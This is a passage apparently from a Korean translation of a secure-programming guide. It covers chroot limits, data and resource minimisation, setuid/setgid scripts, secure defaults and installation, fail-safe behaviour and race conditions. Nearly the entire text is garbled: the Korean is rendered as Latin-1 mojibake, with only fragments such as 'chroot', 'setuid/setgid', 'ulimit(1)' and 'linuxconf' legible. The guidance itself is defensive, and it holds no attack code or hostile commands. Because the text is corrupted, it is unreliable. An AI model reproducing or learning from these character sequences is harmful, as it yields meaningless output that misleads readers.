¿¡ ¿¹½ÃµÇ¾î ÀÖ´Ù. ÀÌ ¿¹¿¡¼­ ÇÁ·Î±×·¥Àº ÇöÀç µð·ºÅ丮ÀÇ ÆÄÀÏ ±â¼úÀÚ¸¦ ¿­¾î ÇϺεð·ºÅ丮¸¦ »ý¼º ¹× chroot ÇØ ÇöÀç µð·ºÅ丮¸¦ ÀÌÀü¿¡ ¿­¸° ÇöÀç µð·ºÅ丮·Î ¼³Á¤Çؼ­ ÇöÀç µð·ºÅ丮 (ÀÌ´Â ÇöÀç µð·ºÅ丮ÀÇ ¿ÜºÎÀ̱⶧¹®¿¡ chroot ´Â ½ÇÁ¦ ÆÄÀϽýºÅÛ ·çÆ®·Î °è¼ÓÇØ¼­ ¿Ã¶ó°£´Ù) ·ÎºÎÅÍ °è¼ÓÇØ¼­ »óÀ§ µð·ºÅ丮·Î ¿Å°Ü°£ ÈÄ °á°ú¿¡ ´ëÇØ chroot ¸¦ È£ÃâÇÑ´Ù. ¿©·¯ºÐÀÌ À̸¦ ÀÐÀ» ¶§±îÁö ÀÌ ¾àÁ¡ÀÌ º¸¿ÏµÆÀ» ¼öµµ ÀÖÁö¸¸ ½ÇÁ¦·Î ·çÆ® ±ÇÇÑÀº ÀϹÝÀûÀ¸·Î ¸ðµç ±ÇÇÑÀ» ÀǹÌÇÏ¿© À̸¦ Á¦°ÅÇϱâ´Â ¾î·Æ´Ù. °è¼ÓÀûÀ¸·Î ·çÆ® ±ÇÇÑÀ» ÇÊ¿ä·Î ÇÏ´Â ÇÁ·Î±×·¥Àº chroot() ¸¦ »ç¿ëÇÔÀ¸·Î½á ´ÜÁö Á¶½É½º·´°Ô µµ¿òÀÌ µÉ °ÍÀÌ´Ù¶ó°í °¡Á¤ÇÏ´Â °ÍÀÌ ´õ¿í ÁÁ´Ù. ¹°·Ð Àû¾îµµ ÇÁ·Î±×·¥ÀÇ ÀϺκи¸ÀÌ chroot jail ³»¿¡ ÀÖÀ» ¼ö ÀÖµµ·Ï ÇÁ·Î±×·¥À» ³ª´­ ¼ö ÀÖÀ»Áöµµ ¸ð¸¥´Ù.


6.3.7. Á¢±ÙÇÒ ¼ö ÀÖ´Â µ¥ÀÌŸÀÇ ÃÖ¼ÒÈ­¸¦ °í·ÁÇØ¶ó

»ç¿ëÀÚ°¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â µ¥ÀÌŸÀÇ ¾çÀ» ÃÖ¼ÒÈ­ÇÏ´Â °ÍÀ» °í·ÁÇØ¶ó. ¿¹¸¦ µé¾î »ç¿ëÀÚ°¡ µ¥ÀÌŸ¸¦ Á÷Á¢ÀûÀ¸·Î º¼ Çʿ䰡 ¾ø´Ù¸é CGI ½ºÅ©¸³Æ®¿¡¼­ ÀÌ ½ºÅ©¸³Æ®°¡ »ç¿ëÇÏ´Â ¸ðµç µ¥ÀÌŸ¸¦ ¹®¼­ Æ®¸® ¿ÜºÎ¿¡ ³õ¾Æ¶ó. ¾î¶² »ç¶÷Àº °ø°³ÀûÀ¸·Î ¸µÅ©¸¦ Á¦°øÇÏÁö ¾ÊÀ½À¸·Î½á ¾î¶² ´©±¸µµ µ¥ÀÌŸ¿¡ Á¢±ÙÇÒ ¼ö ¾ø´Ù´Â À߸øµÈ »ý°¢À» °®°í Àִµ¥ ÀÌ´Â °£´ÜÈ÷ ¸»Çؼ­ ¿ÇÁö ¾Ê´Ù.


6.3.8. »ç¿ë°¡´ÉÇÑ ÀÚ¿øÀÇ ÃÖ¼ÒÈ­¸¦ °í·ÁÇØ¶ó

ÁÖ¾îÁø ÇÁ·Î¼¼½º°¡ »ç¿ë°¡´ÉÇÑ ÄÄÇ»ÅÍ ÀÚ¿øÀ» ÃÖ¼ÒÈ­ÇÏ´Â °ÍÀ» °í·ÁÇØ¶ó. µû¶ó¼­ °íÀå³­´Ù°í ÇÏ´õ¶óµµ ¼Õ»óÀ» Á¦ÇÑÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â ¼­ºñ½º ºÎÀÎ °ø°ÝÀ» ¿¹¹æÇÏ´Â ±âº»ÀûÀÎ ¹æ¹ýÀÌ´Ù. ³×Æ®¿öÅ© ¼­¹öÀÇ °æ¿ì °øÅëÀûÀÎ Á¢±Ù ¹æ¹ýÀº °¢ ¼¼¼Ç¿¡ ´ëÇØ º°°³ÀÇ ÇÁ·Î¼¼½º¸¦ ¼³Á¤ÇÏ°í °¢ ÇÁ·Î¼¼½º¿¡ ´ëÇØ ¼¼¼ÇÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Â ÃÑ CPU ½Ã°£ µîÀ» Á¦ÇÑÇÏ´Â °ÍÀÌ´Ù. ÀÌ·¸°Ô ÇÔÀ¸·Î½á °ø°ÝÀÚ°¡ ¸Þ¸ð¸®¸¦ ¼ÒºñÇϰųª ¸ðµç CPU ¸¦ »ç¿ëÇÏ´Â ¿äûÀ» ÇÏ´Â °æ¿ì Çѵµ°¡ Àû¿ëµÇ¾î ±× ÇϳªÀÇ ¼¼¼ÇÀÌ ´Ù¸¥ ŽºÅ©¸¦ ¹æÇØÇÏÁö ¸øÇϵµ·Ï ÇÒ °ÍÀÌ´Ù. ¹°·Ð °ø°ÝÀÚ°¡ ¸¹Àº ¼¼¼ÇÀ» ¸¸µé ¼ö ÀÖÁö¸¸ ÀÌ´Â Àû¾îµµ °ø°ÝÀ» ¹æÇØÇÒ ¼ö ÀÖ´Ù. Çѵµ ¼³Á¤ ¹æ¹ý (¿¹, ulimit(1)) ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 3.6절 ¸¦ º¸¶ó.


6.4. Setuid/Setgid ½ºÅ©¸³Æ® »ý¼ºÀ» ÇÇÇØ¶ó

¸¹Àº À¯´Ð½º °è¿­ ½Ã½ºÅÛ Æ¯È÷ ¸®´ª½º´Â ¾Õ¿¡¼­ ±â¼úÇÑ °æÀï »óŸ¦ ÇÇÇϱâ À§ÇØ ½ºÅ©¸³Æ®¿¡ ¼³Á¤µÇ¾î ÀÖ´Â setuid ¿Í setgid ºñÆ®¸¦ ´Ü¼øÈ÷ ¹«½ÃÇÑ´Ù. setuid ½ºÅ©¸³Æ®ÀÇ Áö¿ø ¿©ºÎ´Â À¯´Ð½º °è¿­ ½Ã½ºÅ۵鸶´Ù ´Ù¸£±â ¶§¹®¿¡ °¡´ÉÇÑ »õ·Î¿î ¾ÖÇø®ÄÉÀ̼ǿ¡¼­´Â ÃÖ¿ì¼±ÀûÀ¸·Î ÇÇÇØÁø´Ù. Ưº°ÇÑ °æ¿ì·Î ÆÞÀº setuid ÆÞ ½ºÅ©¸³Æ®¸¦ Áö¿øÇϱâ À§ÇØ Æ¯º°ÇÑ ¼³Á¤À» Æ÷ÇÔÇϰí ÀÖÀ¸¸ç µû¶ó¼­ Á¤¸»·Î ÀÌ·¯ÇÑ ±â´É¼ºÀÌ ÇÊ¿äÇÏ´Ù¸é setuid ¿Í setgid »ç¿ëÀº °¡´ÉÇÏ´Ù. ÀÚ½ÅÀÇ ÀÎÅÍÇÁ¸®ÅÍ¿¡ ÀÌ·¯ÇÑ ±â´É¼ºÀ» Áö¿øÇÒ Çʿ䰡 ÀÖ´Ù¸é ÆÞ¿¡¼­ ¾î¶»°Ô ÇÏ´Â Áö¸¦ Á¶»çÇØ¶ó. ±×·¸Áö ¾ÊÀº °æ¿ì °£´ÜÇÑ Á¢±Ù ¹æ¹ýÀº ¾ÈÀüÇÑ È¯°æ (ȯ°æ º¯¼ö Á¦°Å ¹× ¼³Á¤) À» »ý¼ºÇÏ´Â ÀÛÀº setuid/setgid ½ÇÇà°¡´ÉÇÑ ½ºÅ©¸³Æ®¸¦ "wrap" ÇÑ ÈÄ ½ºÅ©¸³Æ®ÀÇ Àý´ë °æ·Î¸¦ »ç¿ëÇØ¼­ À̸¦ È£ÃâÇÏ´Â °ÍÀÌ´Ù. ½ºÅ©¸³Æ®°¡ °ø°ÝÀÚ¿¡ ÀÇÇØ º¯°æµÉ ¼ö ¾øÀ½À» È®ÀÎÇØ¶ó. ½© ½ºÅ©¸³ÆÃ ¾ð¾î´Â Ãß°¡ÀûÀÎ ¹®Á¦¸¦ °®°í ÀÖÀ¸¸ç ½ÇÁ¦·Î setuid/setgid ·Î ¼³Á¤µÇÁö ¾Ê¾Æ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 9.4절 À» º¸¶ó.


6.5. ¾ÈÀüÇÏ°Ô ¼³Á¤ÇÏ°í ¾ÈÀüÇÑ µðÆúÆ®¸¦ »ç¿ëÇØ¶ó

¼³Á¤Àº ÇöÀç º¸¾È ¹®Á¦¸¦ ¾ß±âÇÏ´Â °¡Àå Áß¿äÇÑ ¿øÀÎÀ¸·Î °í·ÁµÇ°í ÀÖ´Ù. µû¶ó¼­ óÀ½ ¼³Ä¡¸¦ º¸¾ÈÀûÀ¸·Î ÇÏ¿© ½Ã½ºÅÛÀ» º¸¾ÈÀûÀ¸·Î À¯ÁöÇÑä Àç¼³Á¤ÀÌ ½±°Ô µÇµµ·Ï ³ë·ÂÇØ¾ß ÇÑ´Ù.

Àý´ë·Î ¼³Ä¡ ·çƾÀÌ ``default" ÆÐ½º¿öµå¸¦ ¼³Ä¡Çϵµ·Ï ÇÏÁö ¸¶¶ó. »õ·Î¿î "users"¸¦ ¼³Ä¡ÇÒ Çʿ䰡 ÀÖ´Ù¸é ÁÁ´Ù - °ü¸®ÀÚ¿¡°Ô ÆÐ½º¿öµå¸¦ ¼³Á¤ÇÒ ½Ã°£À» ÁÖ°í (ÆÐ½º¿öµå°¡ ¼³Á¤µÇ±â Àü¿¡ ½Ã½ºÅÛÀÌ º¸¾ÈÀûÀ¸·Î À¯ÁöÇϸ鼭) ±×Àú ºÒ°¡´ÉÇÑ ÆÐ½º¿öµå¸¦ °®°í À̵éÀ» ¼³Ä¡Çضó. °ü¸®ÀÚ´Â ¾Æ¸¶µµ ¼ö¹é°³ÀÇ ÆÐŰÁö¸¦ ¼³Ä¡ÇÏ°í °ÅÀÇ È®½ÇÈ÷ ÆÐ½º¿öµå ¼³Á¤À» Àؾî¹ö¸± °ÍÀÌ´Ù - µðÆúÆ® ÆÐ½º¿öµå¸¦ »ý¼ºÇÑ´Ù¸é °ü¸®ÀÚ´Â À̸¦ ¼³Á¤ÇÏ´Â °ÍÀ» ¾Ë·Á°í ÇÏÁöµµ ¾ÊÀ» °Í ÀÌ´Ù.

ÇÁ·Î±×·¥Àº °ü¸®ÀÚ°¡ Á¢±Ù Á¤Ã¥À» ¼³Á¤ÇÒ ±âȸ¸¦ °®À» ¶§±îÁö °¡Àå Á¦ÇÑÀûÀÎ Á¢±Ù Á¤Ã¥À» °¡Á®¾ß ÇÑ´Ù. ½ÃÀÛ ¼³Á¤À¸·Î ``sample" °ú °°ÀÌ ½ÇÁ¦ ¾µ ¼ö ÀÖ´Â »ç¿ëÀÚ ¶Ç´Â ``¸ðµç °Í¿¡ Á¢±ÙÀ» Çã¿ëÇÏ´Â" ¼³Á¤À» »ý¼ºÇÏÁö ¸»±â ¹Ù¶õ´Ù: ¸¹Àº »ç¿ëÀÚ´Â ±×Àú ``¸ðµç °ÍÀ» ¼³Ä¡Çϸç" (¸ðµç »ç¿ëÇÒ ¼ö ÀÖ´Â ¼­ºñ½º¸¦ ¼³Ä¡Çϸç) ¸¹Àº ¼­ºñ½º¸¦ ¼³Á¤ÇÒ ½Ã°£Àº Àý´ë·Î ³»Áö ¾Ê´Â´Ù. ¾î¶² °æ¿ì¿¡´Â ÇÁ·Î±×·¥ÀÌ ±âÁ¸ ÀÎÁõ ½Ã½ºÅÛ¿¡ ÀÇÁ¸ÇÔÀ¸·Î½á ´õ¿í °ü´ëÇÑ Á¤Ã¥ÀÌ ¹Ù¶÷Á÷ÇÏ´Ù¶ó°í °áÁ¤ÇÒ ¼ö ÀÖÀ» Áöµµ ¸ð¸£´Âµ¥ ¿¹¸¦ µé¾î ftp ¼­¹ö´Â »ç¿ëÀÚÀÇ µð·ºÅ丮·Î ·Î±×ÀÎÇÒ ¼ö ÀÖ´Â »ç¿ëÀÚ´Â ÀÚ½ÅÀÇ ÆÄÀÏ¿¡ Á¢±ÙÇÒ ¼ö ÀÖ¾î¾ß ÇÑ´Ù°í °áÁ¤ÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ÀÌ·¯ÇÑ °¡Á¤¿¡ ÁÖÀÇÇØ¶ó.

¼³Ä¡ ½ºÅ©¸³Æ®°¡ °¡´ÉÇÑ ¾ÈÀüÇÏ°Ô ÇÁ·Î±×·¥À» ¼³Ä¡Çϵµ·Ï ÇØ¶ó. µðÆúÆ®·Î ·çÆ® ¶Ç´Â ¾î¶² ´Ù¸¥ ½Ã½ºÅÛ »ç¿ëÀÚ¿¡ ÀÇÇØ ¼ÒÀ¯µÇ´Â ¸ðµç ÆÄÀϵéÀ» ¼³Ä¡Çϰí À̵éÀ» others ¿¡°Ô´Â ¾µ ¼ö¾ø°Ô ¸¸µé¾î¶ó; ÀÌ´Â ·çÆ® ¾Æ´Ñ »ç¿ëÀÚ°¡ ¹ÙÀÌ·¯½º¸¦ ¼³Ä¡ÇÏ´Â °ÍÀ» ¿¹¹æÇÑ´Ù. Á¤¸»·Î ÀÌ ÆÄÀϵéÀ» ½Å·ÚµÈ »ç¿ëÀÚ¿Ü¿¡´Â ¾î´À ´©±¸µµ ÀÐÀ» ¼ö ¾ø°Ô ¸¸µå´Â °ÍÀÌ ÃÖ¼±ÀÌ´Ù. ¶ÇÇÑ ·çÆ® ±ÇÇÑÀÌ ¾ø´Â »ç¿ëÀÚ¿Í ¼³Ä¡ÀÚ¸¦ ¿ÏÀüÈ÷ ¹ÏÁö ¸øÇÏ´Â °ü¸®ÀÚ°¡ ¿©ÀüÈ÷ ÇÁ·Î±×·¥À» »ç¿ëÇÒ ¼ö ÀÖµµ·Ï ·çÆ® ¾Æ´Ñ ¼³Ä¡¸¦ Çã¿ëÇØ¶ó.

¼³Ä¡ÇÒ ¶§ ¹Ýµå½Ã º¸¾È¿¡ ÇÊ¿äÇÑ ¸ðµç °¡Á¤ÀÌ ¿ÇÀºÁö °Ë»çÇØ¶ó. ¸î¸î ¶óÀ̺귯¸® ·çƾµéÀº ¾î¶² Ç÷§Æû¿¡¼­´Â ¾ÈÀüÇÏÁö ¾Ê´Ù; ÀÌ¿¡ ´ëÇÑ ³íÀÇ´Â 7.1절 ¸¦ º¸¶ó. ¾ÖÇø®ÄÉÀ̼ÇÀÌ ½ÇÇàµÉ Ç÷§ÆûµéÀ» ¾Ë°í ÀÖ´Ù¸é Ç÷§ÆûµéÀÇ Æ¯Á¤ÀûÀΠƯ¡À» °Ë»çÇÒ ÇÊ¿ä´Â ¾øÁö¸¸ ÀÌ·¯ÇÑ °æ¿ì ¹Ýµå½Ã ÇÁ·Î±×·¥ÀÌ ÀÌ·¯ÇÑ Ç÷§ÆûµéÁßÀÇ Çϳª¿¡¸¸ ¼³Ä¡µÇ´ÂÁö¸¦ °Ë»çÇØ¶ó. ±×·¸Áö ¾Ê´Ù¸é ¼³Ä¡ °á°ú°¡ º¸¾ÈÀûÀÎÁö ¾Æ´ÑÁö ¸ð¸£±â ¶§¹®¿¡ ¼öÀÛ¾÷À¸·Î ÇÁ·Î±×·¥À» ¼³Ä¡ÇØ¾ß ÇÑ´Ù.

¼³Ä¡ÈÄÀÇ ¼³Á¤À» Æ÷ÇÔÇÏ¿© °¡´ÉÇÑ ¼³Á¤ÀÌ ½±°í ¸í¹éÇϵµ·Ï ¸¸µé¾î¶ó. °¡´ÉÇÑ ``º¸¾ÈÀûÀÎ" Á¢±Ù ¹æ¹ýÀ» »ç¿ëÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é ¸¹Àº »ç¿ëÀÚ°¡ À§ÇèÀ» ÀÌÇØÇÔÀÌ ¾øÀÌ ºñº¸¾ÈÀûÀÎ Á¢±Ù ¹æ¹ýÀ» »ç¿ëÇÒ °ÍÀÌ´Ù. ¸®´ª½º¿¡¼­´Â »ç¿ëÀÚ°¡ ±âÁ¸ ÀÎÇÁ¶ó¸¦ »ç¿ëÇÏ¿© ±×µéÀÇ ½Ã½ºÅÛÀ» ½±°Ô ¼³Á¤ÇÒ ¼ö ÀÖµµ·Ï linuxconf ¿Í °°Àº µµ±¸¸¦ ÀÌ¿ëÇØ¶ó.

¼³Á¤ ¾ð¾î°¡ ÀÖ´Ù¸é µðÆúÆ®´Â »ç¿ëÀÚ°¡ ¸íÈ®ÇÏ°Ô Á¢±ÙÀ» Çã¿ëÇÒ ¶§±îÁö À̸¦ °ÅÀýÇØ¾ß ÇÑ´Ù. °ü¸®ÀÚ°¡ ¼³Á¤ÀÌ ¹«¾ùÀ» ÇÏ´Â Áö¸¦ ÀÌÇØÇÒ ¼ö ÀÖµµ·Ï ¿¹Á¦ ¼³Á¤ ÆÄÀÏ¿¡ ¸¹Àº ¸íÈ®ÇÑ ÁÖ¼®À» Æ÷ÇÔÇØ¶ó (ÀÖ´Ù¸é).


6.6. ¾ÈÀüÇÏ°Ô ÃʱâÈ­°ªÀ» ÀûÀçÇØ¶ó

¸¹Àº ÇÁ·Î±×·¥µéÀº ±×µéÀÇ µðÆúÆ® ¼³Á¤À» Çã¿ëÇÏ´Â ÃʱâÈ­ ÆÄÀÏÀ» Àдµ¥ °ø°ÝÀÚ°¡ ¾î¶² ÃʱâÈ­ ÆÄÀÏÀÌ »ç¿ëµÇ´ÂÁö¸¦ º¯°æÇÒ ¼ö ¾øÀ¸¸ç ÀÌ ÆÄÀÏÀ» »ý¼º ¶Ç´Â ¼öÁ¤ÇÒ ¼ö ¾øµµ·Ï º¸ÁõÇØ¾ß ÇÑ´Ù. ÇÁ·Î±×·¥ÀÌ ÆíÁý±â ¶Ç´Â ºê¶ó¿ìÀú·Î½á »ç¿ëµÈ´Ù¸é »ç¿ëÀÚ°¡ ´Ù¸¥ ´©±º°¡¿¡ ÀÇÇØ Á¦¾îµÇ´Â µð·ºÅ丮¸¦ º¼ ¼öµµ Àֱ⠶§¹®¿¡ ´ë°³ ÇöÀç µð·ºÅ丮¸¦ ÃʱâÈ­ °ü·Ã Á¤º¸ÀÇ Ãâó·Î »ç¿ëÇØ¼­´Â ¾ÈµÈ´Ù. ´ë½Å ÇÁ·Î±×·¥ÀÌ ÀϹÝÀûÀÎ »ç¿ëÀÚ ¾ÖÇø®ÄÉÀ̼ÇÀ̶ó¸é »ç¿ëÀÚÀÇ È¨µð·ºÅ丮¿¡ Æ÷ÇԵǾî ÀÖ´Â ¼û°ÜÁø ÆÄÀÏ ¶Ç´Â µð·ºÅ丮·ÎºÎÅÍ ¸ðµç »ç¿ëÀÚÀÇ µðÆúÆ®¸¦ ÀûÀçÇØ¾ß ÇÑ´Ù. ÇÁ·Î±×·¥ÀÌ setuid/setgid ÀÎ °æ¿ì À̸¦ ½Å·ÚµÇÁö ¾ÊÀº (ÀáÀçÀûÀ¸·Î ÀûÀÇÀÖ´Â) ÀÔ·ÂÀ¸·Î ÇÊÅ͸µÇÏÁö ¸øÇÑ´Ù¸é »ç¿ëÀÚ¿¡ ÀÇÇØ Á¦¾îµÇ´Â ¸ðµç ÆÄÀÏÀ» ÀÐÁö ¸¶¶ó. ½Å·ÚµÈ ¼³Á¤ °ªÀÌ ¾î¶² ´Ù¸¥ °÷¿¡¼­ ÀüºÎ ÀûÀçµÇ¾î¾ß ÇÑ´Ù (ÀϹÝÀûÀ¸·Î /etc ³»ÀÇ ÆÄÀϵé·ÎºÎÅÍ).


6.7. °íÀå ¾ÈÀü

º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥Àº ¿À·ù°¡ ¹ß»ýÇÏ¿´À» ¶§ ±×°ÍÀ» ÇÑ ºÎºÐ¿¡ ±¹ÇѽÃÄÑ Àüü ½Ã½ºÅÛÀÌ ¿ÏÀüÈ÷ ¸¶ºñµÇ´Â °ÍÀ» ¹æÁöÇÏ°í ¼öÇàÀ» °è¼ÓÇÒ ¼ö ÀÖµµ·Ï ¼³°èµÇ¾î¾ß ÇÑ´Ù, Áï ÇÁ·Î±×·¥ÀÌ ½ÇÆÐÇÏ´õ¶óµµ °¡Àå ¾ÈÀüÇÑ °á°ú°¡ ³ª¿Ã ¼ö ÀÖµµ·Ï ¼³°èµÇ¾î¾ß ÇÑ´Ù. º¸¾ÈÀÌ °áÁ¤ÀûÀÎ ÇÁ·Î±×·¥ÀÇ °æ¿ì ÀÌ´Â ¾î¶² Á¾·ùÀÇ ¿ÀÀÛµ¿ÀÌ Å½ÁöµÈ´Ù¸é ("can't get here" »óÅ¿¡ µµ´ÞÇÏ´Â ±âÇüÀÇ ÀÔ·Â µî) ÇÁ·Î±×·¥ÀÌ Áï°¢ÀûÀ¸·Î ¼­ºñ½º¸¦ °ÅÀýÇÏ°í ±× ¿äû 󸮸¦ ÁßÁöÇØ¾ß ÇÑ´Ù. »ç¿ëÀÚ°¡ ¹«¾ùÀ» ¿øÇß´ÂÁö ÀÌÇØÇÏ·Á°í ÇÏÁö ¸¶¶ó; ±×Àú ¼­ºñ½º¸¦ °ÅÀýÇØ¶ó. ¶§¶§·Î ÀÌ´Â »ç¿ëÀÚ °üÁ¡¿¡¼­ ½Å·Ú¼º ¶Ç´Â »ç¿ë¼ºÀ» °¨¼Ò½ÃŰÁö¸¸ º¸¾ÈÀº Áõ°¡½ÃŲ´Ù. À̰ÍÀÌ ¹Ù¶÷Á÷ÇÏÁö ¾ÊÀº ¾à°£ÀÇ °æ¿ìµµ ÀÖÁö¸¸ (¿¹, ¼­ºñ½º ºÎÀÎÀÌ ±â¹Ð¼º ¶Ç´Â ¹«°á¼º ¼Õ½Çº¸´Ù ´õ¿í ³ª»Û °æ¿ì°¡ ÀÖ´Ù) °ÅÀÇ µå¹® °æ¿ìÀÌ´Ù.

ÀúÀÚ°¡ ``ÀüüÀûÀ¸·Î ½ÇÆÐÇØ¶ó" °¡ ¾Æ´Ñ ``¿äû 󸮸¦ ÁßÁöÇ϶ó"´Â °Í¿¡ ÁÖ¸ñÇØ¶ó. ƯÈ÷ ´ëºÎºÐÀÇ ¼­¹ö´Â ±âÇüÀÇ ÀÔ·ÂÀ» ¹ÞÀ» ¶§ ¿ÏÀüÈ÷ ¸ØÃç¼­´Â ¾ÈµÇ´Âµ¥ ÀÌ·± °æ¿ì ¼­ºñ½º ºÎÀÎ °ø°Ý (°ø°ÝÀÚ°¡ ¼­ºñ½º »ç¿ëÀ» ¹æÇØÇϱâ À§ÇØ ±×Àú °¡ºñÁö ºñÆ®¸¦ º¸³½´Ù) ¿¡ ´ëÇÑ »ç¼ÒÇÑ ±âȸ¸¦ Á¦°øÇϱ⠶§¹®ÀÌ´Ù. ¶§¶§·Î Àüü ¼­¹ö¸¦ ´Ù¿î½ÃŰ´Â °ÍÀÌ ÇÊ¿äÇѵ¥ ƯÈ÷ "can't get here" »óÅ¿¡ À̸£´Â °ÍÀº °è¼ÓÇÏ´Â °ÍÀÌ ¾î¸®¼®À» ¸¸Å­ °Ý·ÄÇÑ ¹®Á¦ÀÓÀ» ¾Ë¸®´Â °ÍÀÏ ¼öµµ ÀÖ´Ù.

½ÇÆÐ°¡ ŽÁöµÉ ¶§ ¾î¶² ¿¡·¯ ¸Þ½ÃÁö¸¦ º¸¿©ÁÙÁö¸¦ ÁÖÀDZí°Ô °í·ÁÇØ¶ó. ¾Æ¹«°Íµµ º¸¿©ÁÖÁö ¸øÇÑ´Ù¸é ¹®Á¦¸¦ Áø´ÜÇÏ´Â °ÍÀº ¾î·ÆÁö¸¸ ³Ê¹« ¸¹Àº Á¤º¸¸¦ º¸¿©ÁØ´Ù¸é ¹«½É°á¿¡ °ø°ÝÀÚ¸¦ µµ¿ï ¼ö ÀÖ´Ù. º¸Åë ÃÖ¼±ÀÇ Á¢±Ù ¹æ¹ýÀº "Á¢±Ù °ÅÀý (access denied)" ¶Ç´Â "±âŸ ¿¡·¯ »ý¼º (miscellaneous error encountered)" À¸·Î ÀÀ´äÇÑ ÈÄ ´õ¿í ¼¼ºÎÀûÀÎ Á¤º¸¸¦ °¨»ç ·Î±× (´©°¡ Á¤º¸¸¦ º¸´Â Áö¿¡ ´ëÇØ ´õ¿í ¸¹Àº Á¦¾î¸¦ ÇÒ ¼ö ÀÖ´Ù) ¿¡ ±â·ÏÇÏ´Â °ÍÀÌ´Ù.


6.8. °æÀï »óŸ¦ ÇÇÇØ¶ó

``°æÀï »óÅ (race condition)" ´Â "À̺¥Æ®µéÀÇ »ó´ëÀûÀΠŸÀֿ̹¡ ´ëÇÑ µ¹¹ßÀûÀÎ ÀÓ°è ÀÇÁ¸¼º¶§¹®¿¡ ¹ß»ýÇÏ´Â ÀÌ»óÇÑ µ¿ÀÛ" À¸·Î Á¤ÀÇµÉ ¼ö ÀÖ´Ù [FOLDOC]. °æÀï »óÅ´ ÀϹÝÀûÀ¸·Î ÆÄÀÏ ¶Ç´Â º¯¼ö¿Í °°Àº °øÀ¯ ÀÚ¿øÀ» Á¢±ÙÇÏ´Â Çϳª ¶Ç´Â ±× ÀÌ»óÀÇ ÇÁ·Î¼¼½º¸¦ Æ÷ÇÔÇϴµ¥ ÀÌ·¯ÇÑ ´ÙÁß Á¢±ÙÀÌ ÀûÀýÈ÷ Á¦¾îµÇÁö ¾Ê´Â °ÍÀÌ´Ù.

ÀϹÝÀûÀ¸·Î ÇÁ·Î¼¼½º´Â ¿øÀÚÀûÀ¸·Î (atomically) ½ÇÇàµÇÁö ¾Ê´Âµ¥ ´Ù¸¥ ÇÁ·Î¼¼½º°¡ º»·¡ ¾î¶² µÎ ¸í·É »çÀÌ¿¡¼­ À̸¦ ÀÎÅÍ·´Æ®ÇÒ ¼öµµ ÀÖ´Ù. º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ ÇÁ·Î¼¼½º°¡ ÀÌ·¯ÇÑ ÀÎÅÍ·´¼Ç¿¡ ´ëºñÇÏÁö ¾Ê¾Ò´Ù¸é ´Ù¸¥ ÇÁ·Î¼¼½º°¡ ÀÌ ÇÁ·Î¼¼½º¸¦ ¹æÇØÇÒ ¼öµµ ÀÖ´Ù. ´Ù¸¥ ÇÁ·Î¼¼½ºÀÇ ÀÓÀÇÀÇ Äڵ尡 µÎ ¿¬»ê »çÀÌ¿¡ ½ÇÇàµÈ´Ù ÇÏ´õ¶óµµ ¸ðµç ¿¬»ê½ÖÀÌ ½ÇÆÐÇØ¼­´Â ¾ÈµÈ´Ù.

°æÀï »óÅ ¹®Á¦´Â °³³äÀûÀ¸·Î ´ÙÀ½ÀÇ µÎ ¹üÁÖ·Î ºÐ·ùÇÒ ¼ö ÀÖ´Ù:

  • ½Å·ÚµÇÁö ¾ÊÀº ÇÁ·Î¼¼½º¿¡ ÀÇÇÑ °£¼·. ¾î¶² º¸¾È ºÐ·ù¹ýÀº ÀÌ ¹®Á¦¸¦ ``½ÃÄö½º (sequence)" ¶Ç´Â "ºñ¿øÀÚÀû (non-atomic)" »óŶó°í ºÎ¸¥´Ù. ÀÌ´Â ´Ù¸¥ ¿©·¯°¡Áö ÇÁ·Î±×·¥µéÀ» ½ÇÇàÇϰí ÀÖ´Â ÇÁ·Î¼¼½ºµé¿¡ ÀÇÇØ ¾ß±âµÇ´Â »óÅ·Πº¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ ´Ü°èµé »çÀÌ¿¡ ´Ù¸¥ µ¿ÀÛÀ» ¸ô·¡ ³Ö´Â °ÍÀ¸·Î ÀÌ·¯ÇÑ ´Ù¸¥ ÇÁ·Î±×·¥µéÀº ¹®Á¦¸¦ ¾ß±âÇÏ·Á´Â °ø°ÝÀÚ¿¡ ÀÇÇØ È£ÃâµÉ ¼öµµ ÀÖ´Ù. ÀÌ Ã¥Àº À̸¦ ½ÃÄö½Ì (sequencing) ¹®Á¦¶ó°í ºÎ¸¦ °ÍÀÌ´Ù.

  • ½Å·ÚµÈ ÇÁ·Î¼¼½º¿¡ ÀÇÇÑ °£¼· (º¸¾ÈÀûÀÎ ÇÁ·Î±×·¥ÀÇ °üÁ¡¿¡¼­). ¾î¶² ºÐ·ù¹ýÀº À̸¦ ±³Âø »óÅ (deadlock), livelock ¶Ç´Â locking failure »óŶó°í ºÎ¸¥´Ù. ÀÌ´Â µ¿ÀÏÇÑ ÇÁ·Î±×·¥À» ½ÇÇàÇϰí ÀÖ´Â ÇÁ·Î¼¼½ºµé¿¡ ÀÇÇØ ¾ß±âµÇ´Â »óÅÂÀÌ´Ù. ÀÌ·¯ÇÑ ´Ù¸¥ ÇÁ·Î¼¼½ºµéÀÌ µ¿ÀÏÇÑ ±ÇÇÑÀ» °¡Áú ¼öµµ Àֱ⠶§¹®¿¡ ÀûÀýÈ÷ Á¦¾îµÇÁö ¾Ê´Â´Ù¸é ´Ù¸¥ ÇÁ·Î±×·¥µéÀÌ ½ÇÇàµÉ ¼ö ¾ø°Ô²û ¼­·Î¸¦ °£¼·ÇÒ ¼ö ÀÖ´Ù. ¶§¶§·Î ÀÌ·¯ÇÑ À¯ÇüÀÇ °£¼·ÀÌ ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌ Ã¥Àº À̸¦ ·ÎÅ· (locking) ¹®Á¦¶ó°í ºÎ¸¦ °ÍÀÌ´Ù.


6.8.1. ½ÃÄö½Ì (ºñ¿øÀÚÀû) ¹®Á¦

